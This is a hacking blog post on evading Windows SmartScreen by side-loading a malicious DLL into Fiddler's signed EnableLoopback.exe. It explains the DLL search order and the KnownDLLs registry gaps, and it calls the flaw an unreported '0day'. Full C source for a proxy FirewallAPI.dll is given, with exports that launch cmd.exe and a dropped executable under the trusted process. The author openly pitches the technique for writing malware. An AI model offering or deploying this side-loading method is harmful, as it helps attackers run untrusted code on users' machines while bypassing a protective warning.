Bypassing Windows SmartScreen

God, its been forever since I made an update. I figured if I was to make an update after more than a year’s absence, it better damned well be a good fucking update.

Feels like the last time I updated this blog

OK, so Smart Screen is a windows defender utility that comes with Windows 10. It pops up a warning if you attempt to run a binary that is unsigned and / or untrusted. Kind of annoying when you’re writing malware or exploits when Windows Defender detects your payloads, but that’s a topic for another post.

Smart Screen Process

Microsoft Smart Screen works on executables by checking:

  • Is there a malware signature in this binary?
  • Are we signed?
  • Is the signing authority in our ‘good boy’ list?

The ‘good boy’ list I am referring to is a list of certificates that are trusted by Microsoft no questions asked. Ever wondered why when you attempt to open a microsoft tool downloaded from the internet that Smart Screen doesn’t say shit? This is because some certs are in the ‘good boy’ list.

What makes them so special?

Anyways, here we have an unsigned, untrusted exe written by me that does nothing.

Do nothing useful

Here we have it popping Smart Screen, upset that my binary doesn’t pass its ‘background check’.

Smart Screen doing its job

OK, so how the hell do you bypass this? Well you could sign your exe, but that costs money. Even then if the certificate authority isn’t in the Microsoft ‘good boy’ list, then smart screen will still alert.

Inherit Trust Issues

The answer is obvious. We exploit a program in the ‘good boy’ list to run our code. “But Joe”, you may ask, “how the fuck are we supposed to run our code when these trusted exes have a signed check that breaks once you modify them?”. That’s a damned good question. The answer lies in the fundamental flaw in how Windows does its signing and code running. Signed executables have an inherit trust issue. Programs that aren’t signed that are run by programs that are signed are given the same trust. Allow me to illustrate.

This is why we can’t have nice things

So programs spawned from trusted programs are trusted. Does it only apply to process creation? NO! Dynamic link libraries work in the same manner!

So to bypass Smart Screen, we need to exploit the trust issue of either a bad CreateProcess, ShellExec, WinExec, etc call where we can specify our own executable name / path. This is hard to do, but not impossible, however I rarely encounter untrusted execution. Anything easier? What about DLL’s? Those work fantastically and the vulnerabilities for exploiting them are everywhere. What we are taking advantage of is something called ‘Dll Side Loading’.

DLL Side Loading

DLL Side Loading is a what happens when an exe starts searching the current directory for a DLL file, then loading an export from the DLL. By dropping our own DLL, we can exploit this. It’s not always cut and dry, and there are a number of mitigations that have been put in place to prevent this.

Dll files are loaded in a particular order.

  1. Am I a known DLL? If so, then load from system folders.
  2. Am I defined a dependency in the exe manifest file? If so, load from there.
  3. Am I in the folder where I was launched?
  4. Am I in the system folders?
  5. Am I in the environment variable ‘PATH’?
  6. No to all? FAIL.

So what do I mean when I say known DLL? There exists a registry entry on windows that contains a list of DLL’s that are considered ‘known’ and are loaded from the windows and system32 folders first. Its located under HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

This may seem like an end all to our side loading exploitation, but not really. An amateur windows programmer may notice that this list is missing a number of DLL files used all the damned time. Things like vcruntime140.dl, winmm.dll, comctl32.dll, and wintrust.dll are missing. This means any exe that is importing entries from these DLL files (and others) are vulnerable to side loading attacks.

The other entry I brought up was the dependency check under the exe manifest. This check however is poorly documented and I rarely ever see it used anywhere (including on Windows binaries). It’s not much of a mitigation.

So does DLL side jacking work on .NET binaries as well? Hell yes. Ok, so enough about that, and save that for another blog post. Now lets utilize DLL side loading to bypass smart screen.

Get On With It

So now what we need is an exe that’s in the good boy list that’s vulnerable to DLL Side loading. Bonus points if it requires elevation as this ensures our code is run with admin privileges. For this I am choosing a program that comes with Fiddler named EnableLoopback.exe and its a .NET exe too! This is a bit of a ‘0day’, but Telerik doesn’t have a bug bounty and they didn’t seem interested when I reached out, so screw em. The exe imports DLL ‘FirewallAPI.dll’ not in the ‘Known DLL’ registry key.

Specifically from FirewallAPI.dll, the program EnableLoopBack.exe is looking at the imported entries ‘NetworkIsoationEnumAppContainers’, ‘NetworkIsolationFreeAppContainers’, ‘NetworkIsolationGetAppContainerConfig’, and ‘NetworkIsolationSetAppContainerConfig’.

So we create a DLL file, name the DLL exports accordingly, and place our malicious code in our C functions.

#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		{
			MessageBoxW(NULL,L"hey how's it going?",L"YO",MB_OK);
			WinExec("mspaint.exe",1); // can be whatever
			break;
		}
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern __declspec(dllexport) unsigned int NetworkIsolationEnumAppContainers(unsigned int Flags,
 unsigned int pdwCntPublicACs, int *ppPublicACs)
{
	WinExec("iamcool.exe",1);
    return 2;
}
extern __declspec(dllexport) void NetworkIsolationFreeAppContainers(int *pACs)
{
	WinExec("cmd.exe",1);
    return;
}
extern __declspec(dllexport) unsigned int NetworkIsolationGetAppContainerConfig(unsigned int pdwCntACs, 
	int *appContainerSids)
{
	WinExec("cmd.exe",1);
    return 2;
}
extern __declspec(dllexport)  unsigned int NetworkIsolationSetAppContainerConfig(unsigned int pdwCntACs,
 int x)
{
	WinExec("cmd.exe",1);
    return 2;
}

In my code I am running mspaint on DLL attach and running cmd.exe as well as a program ‘iamcool.exe’ from the location the main exe is launched from. The DLL code and iamcool executable will both be run under the context of the trusted Fiddler executable.

Easy Peasy.

Attached is my DLL, the fiddler exe, the code, etc.

It feels good to be back writing again.

Jolly Christmas, Merry Holidays, and Happy Hacking!

13 thoughts on “Bypassing Windows SmartScreen
  1. Let me ask you what software do you use to create DLL files. I use Visual Studio 2010 and 2019 to create.
    It works fine at my computer. But when running on another computer, the error is “The specified module could not be found dll”

  2. this is awesome lol. I didn’t know about this registry. HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

    whats a good way to learn more about windows internals/apis/dll etc? Just start hacking around with C++?

Leave a Reply to averagejoe Cancel reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.